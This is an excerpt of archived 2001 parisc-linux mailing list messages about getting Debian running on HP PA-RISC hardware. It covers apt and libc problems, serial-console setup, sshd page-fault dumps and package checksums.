List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12932

On Tue, Nov 06, 2001 at 04:16:13PM +0000, Richard Hirst wrote:
> apt-get works fine for me, btw (715/75 and a500), running apt 0.5.4

Hmm, having switch from chroot to real root on the a500, I'm
now seeing this same SIGILL.

Richard




From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 21:51:28 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20011106215128.B5797@dogbert.localdomain>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain> <20011106155428.A4719@dogbert.localdomain> <20011106143616.E4441@parcelfarce.linux.theplanet.co.uk> <20011106161613.M8938@linuxcare.com> <20011106192447.O8938@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620717 29550 80.91.229.3 (22 Nov 2014 01:45:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 12:52:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2BEE482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 12:52:37 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161CGr-00010E-00
	for parisc-linux@lists.parisc-linux.org; Tue, 06 Nov 2001 21:52:29 +0200
Original-Received: (qmail 27226 invoked from network); 6 Nov 2001 19:52:25 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 6 Nov 2001 19:52:25 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161CFs-0001Vk-00; Tue, 06 Nov 2001 21:51:28 +0200
Content-Disposition: inline
In-Reply-To: <20011106192447.O8938@linuxcare.com>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161CGr-00010E-00*l8go8lFRXm6* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12933

Hello,

Seems with all the apt db madness, libstdc++ didn't get installed the
first time. I installed it again, and things worked (better). There is
something strange going on with my nfsroot. Don't know if it's some nfs
setting or something... I get "too many symlinks" and "I/O" errors.

On Tue, 06 Nov 2001, Richard Hirst wrote:

> On Tue, Nov 06, 2001 at 04:16:13PM +0000, Richard Hirst wrote:
> > apt-get works fine for me, btw (715/75 and a500), running apt 0.5.4
> 
> Hmm, having switch from chroot to real root on the a500, I'm
> now seeing this same SIGILL.

Hehe. Can't help you there...

Anyway, I'm going to attempt a 3.0.15 boot-floppies install now. I
presume this is probably not going to work yet? We'll soon find out...

Seems the lifimage I crafted with palo is a bit ill. I'm going try to
kick my nfsroot into shape, and try to debootstrap onto my SCSI disk.

Regards,

Albert



From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Wed, 7 Nov 2001 00:38:02 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20011107003802.A6253@dogbert.localdomain>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain> <20011106155428.A4719@dogbert.localdomain> <20011106143616.E4441@parcelfarce.linux.theplanet.co.uk> <20011106161613.M8938@linuxcare.com> <20011106192447.O8938@linuxcare.com> <20011106215128.B5797@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="G4iJoqBmSsgzjUCe"
X-Trace: ger.gmane.org 1416620717 29552 80.91.229.3 (22 Nov 2014 01:45:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 15:39:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D262482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 15:39:09 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161Es2-00037I-00
	for parisc-linux@lists.parisc-linux.org; Wed, 07 Nov 2001 00:39:02 +0200
Original-Received: (qmail 27487 invoked from network); 6 Nov 2001 22:39:00 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 6 Nov 2001 22:39:00 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161Er4-0001dK-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 07 Nov 2001 00:38:02 +0200
Content-Disposition: inline
In-Reply-To: <20011106215128.B5797@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161Es2-00037I-00*A1iCzr.coO2* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12934

--G4iJoqBmSsgzjUCe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

Whoohooo. I bootstrapped my SCSI disk by hand (took a while; thank
goodness for Perl and sed).

And now... it just works! :-) Almost.

I can boot single-user mode with /sbin/init, but if I boot multi-user
(runlevel 2), everything starts fine up until cron comes up -- then
minicom goes Offline and the system is MIA. I currently still have
start-stop-daemon replaced with /bin/true, so I don't know why it's even
doing much. Now that I think about it, it might be something that comes
after cron. The getty perhaps? What needs to get configured here to make
it work with serial console?

bash-2.05# uname -a
Linux bob 2.4.9-pa70 #13 Wed Nov 7 00:25:29 SAST 2001 parisc unknown

apt-get install works. ls works. tar works. lynx works. Gonna try gcc
now. I think I can find some source to compile.

Thanks again Alan and Randolph. And thanks Matt. And thanks Debian. And
thanks HP... muhehehehehe.

Regards,

Albert

--G4iJoqBmSsgzjUCe
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE76GZJDg+hOeRZtkMRAt4sAJ9t3QNmYbfH61VEa3qBN0SiUugn+wCfayFd
kKjq5diPRY+YFPueNI6hS48=
=Be2s
-----END PGP SIGNATURE-----

--G4iJoqBmSsgzjUCe--



From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2000 :-)
Date: Tue, 06 Nov 2001 16:57:29 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200111062357.QAA08384@puffin.external.hp.com>
References: <ra@hp.is>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620718 29556 80.91.229.3 (22 Nov 2014 01:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 17:01:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D64DD482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 17:01:31 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA08384;
	Tue, 6 Nov 2001 16:57:29 -0700
In-Reply-To: Message from Richard Allen <ra@hp.is> 
   of "Tue, 06 Nov 2001 16:15:08 GMT." <20011106161508.C1639@hp.is> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12935

Richard Allen wrote:
> The kernel snapshot from late October crashed on this machine.
> Now all runs smooth :-)   (with serial console and no IDE connected)

Very good...we've been running on c3k/j5k for quite some time
via serial console. JSM serial under suckyio and VM working earlier
this year.  USB and IDE are also part of suckyio and neither works
right now...Randolph Chung is hacking on USB and I've been hacking
on IDE but due to goofiness (and bugs) in suckyio, it's just not
working yet...

J5600 and similar boxes HPMC. Workaround in elroy code is available but
I just haven't have time to debug that. If someone in HP gave me a
couple of B2600's, I'd be alot more interested in working on this.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 720/50 update
Date: Wed, 7 Nov 2001 02:30:07 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <20011107023007.A12882@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620718 29557 80.91.229.3 (22 Nov 2014 01:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 17:31:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BE3A482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 17:31:11 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161GcV-0000Ue-00
	for parisc-linux@lists.parisc-linux.org; Wed, 07 Nov 2001 02:31:07 +0200
Original-Received: (qmail 27632 invoked from network); 7 Nov 2001 00:31:05 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 7 Nov 2001 00:31:05 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161GbX-0003cD-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 07 Nov 2001 02:30:07 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161GcV-0000Ue-00*yK1q/YuZ2eo* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12936

Albert Strasheim <fullung@ilink.nis.za>
Cc: 
Bcc: 
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Reply-To: 
In-Reply-To: <20011107003802.A6253@dogbert.localdomain>

Hello,

I promise I'll be quiet shortly. :-)

Serial consoles now work. Just uncomment the relevant lines in
/etc/inittab:

# Example how to put a getty on a serial line (for a terminal)
#
T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100
T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100

:-)

Two questions: when setting the hardware clock to the system clock, my
720 seems to hang. Is this a known issue? There seems to be a variable
one can set somewhere in the Debian init scripts to prevent this. I'll
look into it.

Then, some more interesting messages from /var/log/syslog:

Nov  7 02:12:01 bob kernel: Linux version 2.4.9-pa70 (s13640887@bach.sun.ac.za)
(gcc version 3.0.2 20010829 (prerelease)) #15 Wed Nov 7 02:07:35 SAST 2001
Nov  7 02:12:01 bob kernel: FP[0] enabled: Rev 3 Model 0
Nov  7 02:12:01 bob kernel: The 32-bit Kernel has started...
Nov  7 02:12:01 bob kernel: Determining PDC firmware type: Snake.

<snip>

Nov  7 02:12:07 bob /usr/sbin/cron[251]: (CRON) INFO (pidfile fd = 3)
Nov  7 02:12:07 bob /usr/sbin/cron[252]: (CRON) STARTUP (fork ok)
Nov  7 02:12:07 bob /usr/sbin/cron[252]: (CRON) INFO (Running @reboot jobs)
Nov  7 02:12:08 bob init: open(/dev/console): Input/output error
Nov  7 02:12:08 bob last message repeated 3 times
Nov  7 02:15:35 bob init: Trying to re-exec init

I installed binutils and it reconfigured libc6 here for some reason.

Now sshd goes bonkers a little later:

Nov  7 02:22:43 bob kernel: do_page_fault() pid=469 command='sshd' type=15 address=0x00000000
Nov  7 02:22:43 bob kernel:
Nov  7 02:22:43 bob kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Nov  7 02:22:43 bob kernel: PSW: 00000000000001001111111100001111
Nov  7 02:22:43 bob kernel: r0-3^I 00000000 00000000 4035da5b faf01860
Nov  7 02:22:43 bob kernel: r4-7^I 40378688 4002a09c 40028a64 faf00160
Nov  7 02:22:43 bob kernel: r8-11^I faf00158 00000001 00000001 00000001
Nov  7 02:22:43 bob kernel: r12-15^I faf00f94 faf00f8c faf00f86 faf00f7e
Nov  7 02:22:43 bob kernel: r16-19^I faf00f78 faf00f70 faf00f78 40378688
Nov  7 02:22:43 bob kernel: r20-23^I 00000001 40378688 4035da38 400288f8
Nov  7 02:22:43 bob kernel: r24-27^I faf00160 faf00158 00000001 0005cd5c
Nov  7 02:22:43 bob kernel: r28-31^I 4001c302 0000005e faf018e0 4000dd67
Nov  7 02:22:43 bob kernel: sr0-3^I 0000002b 0000002b 00000000 0000002b
Nov  7 02:22:43 bob kernel: sr4-7^I 0000002b 0000002b 0000002b 0000002b
Nov  7 02:22:43 bob kernel:
Nov  7 02:22:43 bob kernel: IASQ: 0000002b 0000002b IAOQ: 4035deeb 4035deef
Nov  7 02:22:43 bob kernel:  IIR: 0c201094    ISR: 0000002b  IOR: 00000000
Nov  7 02:22:43 bob kernel:  CPU:        0   CR30: 133c4000 CR31: 10330000
Nov  7 02:22:43 bob kernel:  ORIG_R28: 40378838

and again:

Nov  7 02:22:51 bob kernel: do_page_fault() pid=471 command='sshd' type=15 address=0x00000000
Nov  7 02:22:51 bob kernel:
Nov  7 02:22:51 bob kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Nov  7 02:22:51 bob kernel: PSW: 00000000000001001111111100001111
Nov  7 02:22:51 bob kernel: r0-3^I 00000000 00000000 4035da5b faf01860
Nov  7 02:22:51 bob kernel: r4-7^I 40378688 4002a09c 40028a64 faf00160
Nov  7 02:22:51 bob kernel: r8-11^I faf00158 00000001 00000001 00000001
Nov  7 02:22:51 bob kernel: r12-15^I faf00f94 faf00f8c faf00f86 faf00f7e
Nov  7 02:22:51 bob kernel: r16-19^I faf00f78 faf00f70 faf00f78 40378688
Nov  7 02:22:51 bob kernel: r20-23^I 00000001 40378688 4035da38 400288f8
Nov  7 02:22:51 bob kernel: r24-27^I faf00160 faf00158 00000001 0005cd5c
Nov  7 02:22:51 bob kernel: r28-31^I 4001c302 0000005e faf018e0 4000dd67
Nov  7 02:22:51 bob kernel: sr0-3^I 00000034 00000034 00000000 00000034
Nov  7 02:22:51 bob kernel: sr4-7^I 00000034 00000034 00000034 00000034
Nov  7 02:22:51 bob kernel:
Nov  7 02:22:51 bob kernel: IASQ: 00000034 00000034 IAOQ: 4035deeb 4035deef
Nov  7 02:22:51 bob kernel:  IIR: 0c201094    ISR: 00000034  IOR: 00000000
Nov  7 02:22:51 bob kernel:  CPU:        0   CR30: 133c4000 CR31: 10330000
Nov  7 02:22:51 bob kernel:  ORIG_R28: 40378838

Anything I should look into?

Regards,

Albert



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Wed, 7 Nov 2001 03:04:42 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20011107030442.A16309@dogbert.localdomain>
References: <20011107023007.A12882@dogbert.localdomain> <3BE88319.DD8D7B55@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620718 29561 80.91.229.3 (22 Nov 2014 01:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 18:05:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48ABC482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 18:05:46 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161H9y-0002QD-00
	for parisc-linux@lists.parisc-linux.org; Wed, 07 Nov 2001 03:05:42 +0200
Original-Received: (qmail 27714 invoked from network); 7 Nov 2001 01:05:40 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 7 Nov 2001 01:05:40 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161H90-0004I2-00; Wed, 07 Nov 2001 03:04:42 +0200
Content-Disposition: inline
In-Reply-To: <3BE88319.DD8D7B55@esiee.fr>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161H9y-0002QD-00*glqj5pzPVVc* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12937

Hello Thomas and parisc-linux,

I'll take a look at it later. Don't know if I want to break my poor
system though.

Where do I find the .debs to get gcc going? I want to see if I can
compile a kernel for parisc, on parisc! :-)

Regards,

Albert



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Wed, 07 Nov 2001 00:00:01 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <200111070700.AAA08983@puffin.external.hp.com>
References: <fullung@ilink.nis.za>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620718 29563 80.91.229.3 (22 Nov 2014 01:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 00:04:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4524482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 00:04:20 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA08983;
	Wed, 7 Nov 2001 00:00:01 -0700
In-Reply-To: Message from Albert Strasheim <fullung@ilink.nis.za> 
   of "Wed, 07 Nov 2001 02:30:07 +0200." <20011107023007.A12882@dogbert.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12938

Albert Strasheim wrote:
> Now sshd goes bonkers a little later:

I'm seeing a similar failure on my a500 after installing
the libs/tools from tausq...maybe not all of them got install
right or something.

do_page_fault() pid=30365 command='sshd' type=15 address=0x00000000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     0000000000000000 0000000000000000 00000000404258cb 00000000faf02a18
r4-7     000000004043ee8c 000000004002a09c 0000000040028a64 00000000faf00180
r8-11    00000000faf00178 0000000000000001 0000000000000001 0000000000000001
r12-15   00000000faf02154 00000000faf0214c 00000000faf02146 00000000faf0213e
r16-19   00000000faf02138 00000000faf02130 00000000faf02138 000000004043ee8c
r20-23   0000000000000001 000000004043ee8c 00000000404258a8 00000000400288f8
r24-27   00000000faf00180 00000000faf00178 0000000000000001 000000000005cd5c
r28-31   0000000040020302 0000000000000367 00000000faf02a98 000000004000dd67
sr0-3    00000000003b4180 00000000003b4180 0000000000000000 00000000003b4180
sr4-7    00000000003b4180 00000000003b4180 00000000003b4180 00000000003b4180

IASQ: 00000000003b4180 00000000003b4180 IAOQ: 0000000040425ceb 0000000040425cef
 IIR: 0c201094    ISR: 00000000003b4180  IOR: 0000000000000000
 CPU:        0   CR30: 00000000d6de0000 CR31: 0000000010430000
 ORIG_R28: 0000000000000000

gsyprf11:/home/grundler/tausq_tools# cksum *.deb
1114988557 141528 cpp-3.0_3.0.2-3_hppa.deb
1927521351 48988 fixincludes_3.0.2-3_hppa.deb
642572873 1556684 g++-3.0_3.0.2-3_hppa.deb
2439162186 1512948 gcc-3.0_3.0.2-3_hppa.deb
1556764740 1323150 gobjc-3.0_3.0.2-3_hppa.deb
183295544 3092004 libc6-dbg_2.2.4-5.1_hppa.deb
3189185516 2821668 libc6-dev_2.2.4-5.1_hppa.deb
3206792636 1288104 libc6-pic_2.2.4-5.1_hppa.deb
3456372709 1458650 libc6-prof_2.2.4-5.1_hppa.deb
81332045 4180314 libc6_2.2.4-5.1_hppa.deb
3444036471 32182 libgcc1_3.0.2-3_hppa.deb
3159110615 75220 libobjc1_3.0.2-3_hppa.deb
596324476 706532 libstdc++3-dbg_3.0.2-3_hppa.deb
1990895142 619846 libstdc++3-dev_3.0.2-3_hppa.deb
1076307807 267246 libstdc++3_3.0.2-3_hppa.deb
2468458388 57770 nscd_2.2.4-5.1_hppa.deb
1353008780 35892 protoize_3.0.2-3_hppa.deb
646825021 412622 python1.5-dev_1.5.2-19_hppa.deb
1167294820 25608 python1.5-gdbm_1.5.2-19_hppa.deb
1705531577 27230 python1.5-mpz_1.5.2-19_hppa.deb
2662708058 60932 python1.5-tk_1.5.2-19_hppa.deb
2712725009 979300 python1.5_1.5.2-19_hppa.deb

grant



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Wed, 7 Nov 2001 09:36:17 +0000
Lines: 14
Approved: news@gmane.org
